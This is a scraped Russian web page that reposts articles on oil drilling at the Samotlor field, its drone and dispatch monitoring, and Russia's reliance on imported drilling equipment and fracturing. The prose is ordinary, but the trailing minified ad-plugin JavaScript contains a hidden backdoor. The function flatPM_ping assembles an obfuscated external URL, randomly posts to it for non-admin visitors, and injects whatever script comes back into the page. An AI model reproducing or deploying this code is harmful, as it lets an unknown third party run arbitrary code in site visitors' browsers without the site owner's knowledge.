Кроме буровых установок на нефть, жителей России интересует возможность купить новую и б/у буровую установку на воду. Купить буровые установки на воду можно по вполне приемлемой цене.

Для добычи нефти используйте высококачественные буровые установки!

  • Евгений Смольников
  • Распечатать

Источник: https://truck-auto.info/spectexnika/burovye/1160-burovaya-ustanovka-dlya-dobychi-nefti.html

Как добывают нефть в России (Самотлор). Часть 2

Автор репортажа — Аслан Шауей (ЖЖ aslan)

Предыдущий куст, как нам сказали, добывает обводненную нефть и не так эффективен как тот, на который мы приехали позже. Так как добывают нефть? Сперва нужно найти место, где есть нефть. В условиях, в которых находится Самотлорское месторождение это было сделать довольно проблематично, особенно когда еще не было тех технологий, которые есть сейчас.

45 Тогда геологи бурили чуть ли не вслепую. Сейчас потенциально продуктивные месторождения выявить проще.

Как мне сказали буровики, нужно просто пробурить дырку в земле, заложить немного взрывчатки и подключив специальные приборы устроить мини взрыв.

Прибор, который работает как эхолот определяет состав земной породы и после анализа специалистов можно узнать где есть нефть. Называется это — сейсморазведка.

46 Таким образом обнаруживают подземные резервуары, в которых находится сырая нефть. Обычно месторождения содержат также газ и воду, как правило, под высоким давлением. Это давление иногда оказывается достаточным для вытеснения нефти к скважине. Фонтанный способ является самым экономичным.

Для регулировки подачи нефти устанавливается специальная арматура, которая герметизирует устье скважины, контролирует объем подаваемого вещества. В других случаях сила пластового давления может быть недостаточной с самого начала эксплуатации, и уже сразу на забое скважины нужно устанавливать насосы.

47

48 Многие скважины на Самотлоре обводнены, это происходит в процессе добычи нефти.

Для того, чтобы добыть нефть из пластов, в которых нет достаточного давления, бурится скважина, в которую под давлением в 200-250 атмосфер закачивается вода.

На этом месторождении пласты содержащие нефть скорее похожи на губку. Вода поступающая под давлением в пласты разрывает их, и вытесняет более легкую нефть через другую скважину.

Со временем место, где находятся несколько скважин (куст) обводняется, то есть воды закаченной для добычи нефти становится много, а нефти мало, потому в старых скважинах советских времен процент нефти в выкаченной жидкости составляет около 30%. Из новых скважин, которые бурят на этом кусте добывается почти 100% нефть.

49 По существующим оценкам, геологические запасы месторождения составляют около 7,1 млрд тонн, из них извлекаемые — более 3,5 млрд тонн. Текущие извлекаемые запасы оцениваются в более 1 млрд тонн нефти.

В 1981 году была добыта миллиардная тонна нефти. Пик добычи нефти (около 150 млн т.

в год) пришёлся на начало 80-х годов XX века; вследствие интенсивной добычи в эти годы нефтеносные пласты стали обводняться и добыча нефти резко снизилась. В 1996 году было добыто лишь 16,74 млн т нефти.

В XXI веке в связи с применением современных способов интенсификации нефтедобычи добыча нефти несколько увеличилась.

50 Всего за годы эксплуатации месторождения на нём было пробурено 16 700 скважин, добыто более 2,7 млрд т. нефти. На 1997 год из Самотлорского месторождении за тридцать лет было добыто более 1,9 млрд т. нефти. Добыча упала до 36 тыс. т. в день; предполагалось, что месторождение практически исчерпано. Однако современные технологии позволяют дать Самотлору «второе дыхание».

51 Вот эти все трубы или были под землей, или там скоро окажутся. Если 50 лет назад при разработке месторождения глубина бурения составляла 1.6-2.6 км, то сейчас она составляет более 3 км. Современные методы добычи нефти также позволяют бурить не только вертикально, но и при определенной глубине задать горизонтальное направление, чтобы труба дошла до определенного нефтеносного пласта.

  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58 Вот так и работают буровики.
  • 59

60 Сама буровая установка стоит на рельсах и бурит скважины каждые 15 метров. Пробурит, прочистят скважину водой, как это показано на фото выше, установят насосно-компрессорный блок и передвинут дальше. Сейчас такая установка собирается и начинает свою работу в три раза быстрее, чем раньше.

  1. 61 На время бурения колеса жестко фиксируются.
  2. 62 Вместе с буровой вышкой располагаются также и сооружения по очистке воды, которую прогоняют по скважине.
  3. 63 Она очищается от примесей и затем снова используется в работе.
  4. 64 Здесь находятся различные аппараты поддерживающие работу буровой.
  5. 65
  6. 66
  7. 67
  8. 68 На самом деле шумно.
  9. 69
  10. 70
  11. 71 Без селфи здесь никак.
  12. 72 На вахте буровики живут в таких этих вагончиках
  13. 73 Сауна, душ, туалет, все как на лучших нефтепромыслах Кувейта)
  14. 74 Качалка тоже иногда работает.
  15. 75 Мы прощаемся с буровой и едем дальше.
  16. 76 Наш следующий объект — лаборатория по анализу нефти.

77 Таких кабинетов в корпусе несколько. Мы зайдем сюда.

78 Здесь находится много различных приборов, которые определяют характеристики добываемой на месторождении нефти.

79 Настоящий рай для химика. Доктор Хайзенберг чувствовал бы себя здесь как дома.

  • 80
  • 81 На этом коллаже небольшая часть того, что делают с нефтью в лаборатории.
  • 82 Различные химикаты, реагенты, катализаторы, ингибиторы, все это необходимо для определения состава нефти.

83 Памятка для работников. Каждый анализ проводится дважды, чтобы получить наиболее объективный результат.

  1. 84
  2. 85 Автоматический дистилляционный аппарат.
  3. 86 После лаборатории мы попали в особое место, где располагается пункт слежения за месторождением с помощью беспилотников.

87 Посмотрите на этот кусочек карты, представляете себе масштаб? Тысячи кустов!

88 В данный момент оператор просматривает видеозапись с беспилотника, сделанную ранее. Они очень помогли работе нефтяников при выявлении инцидентов и службе безопасности, чтобы выявить хищения и другие неправомерные действия.

89 На наш вопрос: «что тут можжно увидеть, ведь разрешение плохое» — нас успокоили, сказав, что на самом деле после обработки видео, можно увидеть все достаточно четко, в том числе и номера машины.

90 Компания Zala Aero Group, которая работает на Самотлоре использует эти виды беспилотников, все данные о них можно прочитать на плакате. Они активно используются как летом, так и зимой. Днем и ночью.

91

92 У этой компании, которая полностью сама разработала и собрала эти беспилотники несколько видов летательных аппаратов. Когда я спросил про коптеры, специалисты ответили, что они не так надежны, особенно когда есть ветер, потому используются другие виды беспилотников. Услугой компании пользуются все силовые структуры России.

93 Для того, чтобы посмотреть на то, как запускают беспилотник, мы приехали на подготовленное для этого место. На фото- мобильные комплексы управления беспилотником.

94

95 Для того, чтобы запустить беспилотник в воздух нужно установить специальное приспособление. Принцип работы схож с катапультой.

  • 96 Сам летательный аппарат находится в защитном кофре в разобраном состоянии.
  • 97 Вынимаем,
  • 98 устанавливаем на треногу
  • 99 и прикрепляем крылья.
  • 100 После чего выходим на связь с оператором в пункте наблюдения, который дистанционно проверяет работоспособность камеры и остальных систем беспилотника.

101 В это время в аппарат компрессором нагнетается воздух под давлением. Для нормального запуска нужно давление в 12-15 атмосфер.

102 Сверяемся с показаниями в мобильном передвижном пункте и дергаем ленту с надписью «remove before flight». Полетели!

103 Смотрим в «уазике» в монитор компьютера. За считанные секунды беспилотник набрал нужную высоту.

104 На экране кстати, видны наши машины.

105 Беспилотник уже достаточно высоко, еле поймал его в объектив. Запаса аккумулятора хватит на 2.5 — 4 часа полета.

106 Далее мы попадаем в место. где следят за всем, что происходит на объектах одного из цехов по добычи нефти и газа — как работают насосы, сколько добыто нефти, как передвигаются рабочие (у каждого между прочим gps-трекер).

В общем, на этот диспетчерский пункт попадает вся информация о работе на Самотлоре. Здесь она анализируется, выявляют ошибки и т. п. Также здесь координируют работу всех служб.

Этот диспетчерский пункт намного облегчил работу, оптимизировал время и сэкономил много денег.

107 По пути домой заехали на историческую точку — это между прочим самая первая скважина Самотлора, которой уже 50 лет! Скважину забетонировали и теперь здесь будет памятник нефтяникам.

108 Спасибо самым терпеливым и любознательным читателям. Теперь и вы знаете, как добывают нефть!

Источник: https://sdelanounas.ru/blogs/66300/

Глубинные тайны нефтянки: Сколько лет Россия сможет просидеть на нефтяной трубе? | Back in the USSR

Нет худа без добра: западные санкции встряхнут самый застоявшийся сектор нашей экономики. Нефть в России своя, но мозги и машины в нефтянке всё чаще импортные. Теперь поневоле придётся взяться за ум.

Борьба за вышки

Нефтегазовые компании крепко подсели на импортную технику, основным донором стал Китай.

Персонал на скважинах вместо примелькавшихся за полвека значков Уралмаша и Волгоградского завода буровой техники всё чаще видит на оборудовании надписи вроде «Хонгхуа» и «Хебей Хайхуа».

Порой среди новых поставок с большой земли попадаются американские «Арамы» и французские «Серцели». Но Уралмашей всё меньше.

По данным Минпрома, доля иностранного оборудования в целом по нефтянке достигает 25–30%, в шельфовой добыче – 100%. В газовой добыче ещё больше. Вроде бы отечественной технике достались внушительные три четверти. На деле в статистику попали старые машины и буровые вышки советских времён, отработавшие по 30–40 лет. Среди новой техники доля российского оборудования менее 20%.

Обычно жалобы на засилье импорта на месторождениях слушают вполуха. Пока не узнают, сколько стоит ключевой инструмент нефтедобычи – буровая установка.

При разведке крупных запасов нефти приходится забираться на глубину от 1 до 6 км, в последние годы средняя длина новых скважин растёт, в 2013 г. достигла трёх километров. Бурить на таких глубинах немногим проще, чем оправлять экспедиции в космос.

Скважины давно не ведут линейно вниз. Технологии давно вышли на другой уровень, пласты научились соединять километрами горизонтальных петлевых узлов и каналов.

Чтобы выполнить такое сложное бурение, требуется техника космического уровня. К тому же всё более сложная. Добыча нефти в РФ постепенно уходит на глубину, где температура породы достигает 150–250 градусов.

Чтобы пробиться на километры вниз, требуется буровой комплекс весом в несколько сотен тонн с вышкой на 50–70 м, несколькими силовыми установками на 1 тыс.

лошадей каждая, сложной системой охлаждения, множеством сверхмощных насосов и т.д.

Цена такой платформы – от 500 млн. до 1 млрд. рублей. Почти как у пассажирского самолёта. Установки для морского бурения во много раз дороже. Сейчас в России около 2 тыс. буровых, в рабочем состоянии – 1,5 тысячи.

Более половины давно требуют замены. Вдобавок чтобы предотвратить грядущий спад добычи, нужно резко расширять разведку. Для этого понадобится не менее тысячи новых установок.

В довершение в ближайшие 7–10 лет нужно построить несколько десятков морских буровых платформ.

Выходит, только на обновление техники в ближайшие годы нефтянка потратит не менее 1,5 трлн. рублей. Если не изменить ситуацию, на долю российского оборудования придётся ничтожная часть заказов. Уралмаш выпускает 25–30 буровых установок в год, Волгоградский завод – 12–15.

Самых сложных и дорогих сверхтяжёлых буровых на 900 т и больше российские заводы не делают. В результате могут упустить триллионный пирог, поскольку нужны тысячи новых установок. На нашем рынке нефтедобычи давно толкаются локтями два десятка зарубежных производителей.

Перевес за Китаем: 70% бурового импорта поставляют четыре компании из этой страны. Как правило, это копии западной техники.

Технологиясудного дня

Вторая проблема: бурение и разведку всё чаще перекладывают на западных подрядчиков. Это самые сложные и наиболее дорогие операции. Тут правят бал компании «Шлюмберже» и «Халлибартон», обе со штаб-квартирами в Хьюстоне, США.

Основными клиентами выступают Газпром-нефть, ЛУКОЙЛ и Роснефть. Эта тройка сильнее всего зависит от иностранных технологий. За бурение каждой скважины западные подрядчики получают от 100 до 500 млн. рублей. Для справки: в 2013 г.

в России пробурено 6,5 тыс. новых нефтяных скважин.

Оправдание привычное, мол, у российских компаний нет аналогичных технологий. Это в стране, у которой с XIX века была самая передовая в мире нефтяная промышленность. По мнению специалистов, первая нефтяная скважина в истории пробурена в России.

Это случилось в 1848 году. В 1950 гг. в СССР впервые появилась технология кустового бурения. Суть: чтобы не ставить множество вышек, вниз ведут десятки наклонных стволов от одной точки.

Многозабойная технология, когда один ствол на глубине расходится на множество, тоже впервые освоена в нашей стране. Для этого советская промышленность создала передовые наклонные турбобуры и роторы. Наконец, пресловутая технология гидроразрыва пласта.

Именно за неё западные подрядчики получают самые крупные суммы. При этом гидроразрыв в СССР впервые применили в 1952 году.

Правда, с этой технологией не всё ладно. Суть: в пласт под огромным давлением закачиваются тысячи тонн воды с песком. Она разрывает породу, образуются трещины, в которые проникает нефть.

Это позволяет резко нарастить моментальную отдачу скважины, но в долгосрочном плане запросто может угробить месторождение. Многие эксперты считают гидроразрыв технологией для временщиков. Из месторождения как можно быстрее выжимается сколько выйдет, дальше трава не расти.

Это как нельзя лучше характеризует политику крупнейших российских нефтяных компаний последних лет. Не зря разрыв схоже звучит со словом «урвать».

Особенно интенсивно эту технологию «последнего дня» применяют на старых месторождениях Западной Сибири, которые разрабатывают с 1970 годов. Например, практически полностью взорван Самотлор – крупнейшая нефтяная жила России. Тут характерна политика компании ТНК-BP.

Несколько лет назад она столкнулась с резким падением добычи на Самотлоре. Недолго думая, разорвала три сотни скважин. Дешёвые остатки быстро дожали, после чего ТНК-ВР дорого продала бизнес Роснефти.

В результате госкомпания попала в ловушку: чтобы продолжать хоть какую-то добычу на Самотлоре, ей придётся дальше разрывать скважины. Во-первых, процесс не бесконечный, обычно месторождение умирает после третьей-четвёртой массированной закачки.

Во-вторых, Роснефть вынуждена платить западным подрядчикам, владеющим технологиями гидроразрыва, которые использовала ТНК-ВР.

Черта двадцатого года

Что в результате? Если дела в нефтянке пойдут на спад, удар будет серьёзный и придётся по всем. Зависимость экономики от чёрного золота разрослась до таких масштабов, что вся остальная, несырьевая, часть похожа на тонкую кожуру на громадном нефтяном пузыре.

Вот данные госказначейства. В 2013 г. федеральный бюджет собрал 13 трлн. рублей. Из них пошлины на экспорт нефти принесли 2,33 трлн. руб., сборы с бензина и прочих нефтепродуктов добавили ещё 1,2 триллиона. Для сравнения: от экспорта газа государство получило 479 млрд. рублей.

Дополнительные 2,19 трлн. руб. дал налог на добычу нефти (с газа вышло в семь раз меньше). В общей сложности от нефтянки бюджету в прошлом году накапало 5,7 трлн. рублей. Выходит, практически каждый второй рубль у государства – нефтяного происхождения (от газа каждый шестнадцатый).

Загвоздка вот в чём. В 2013 г. в России добыли 523 млн. т нефти. Вроде рекордный показатель за весь постсоветский период. Только новые скважины, введённые в строй не более 5 лет назад, дали лишь 37 млн. т нефти. Это 7% добычи. Рост идёт в основном за счёт раскупоривания запасов.

По данным Минэнерго, в стране 160 тыс. нефтяных скважин. Только на Самотлоре, давшем стране 2,3 млрд. т нефти, пробурили 16,7 тыс. скважин. Из 160 тыс. скважин 17,8 тыс. законсервированы до поры до времени. Для сравнения: в 2000 г. в резерве было 28 тыс. скважин, в 2011 г. – 25 тысяч.

Тенденция очевидна.

«При нынешних ничтожных объёмах поисково-разведочного бурения, при хищническом использовании месторождений олигархатом, когда коэффициент извлечения нефти 30% вместо принятых 60–65%, запасы сырья в основных нефтяных регионах, Волго-Уральском и Западно-Сибирском, истощаются на глазах. Хватит на 9–10 лет. Может быть, потому у партии власти все программы-манилки для электората заканчиваются в 2020 году? Посидеть ещё десять лет на трубе, пока она тёплая от пульсирующего сока земли, а там спрыгнуть», – говорит эксперт по нефтедобыче М. Полторанин.

Источник: https://maxpark.com/community/129/content/2974609

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};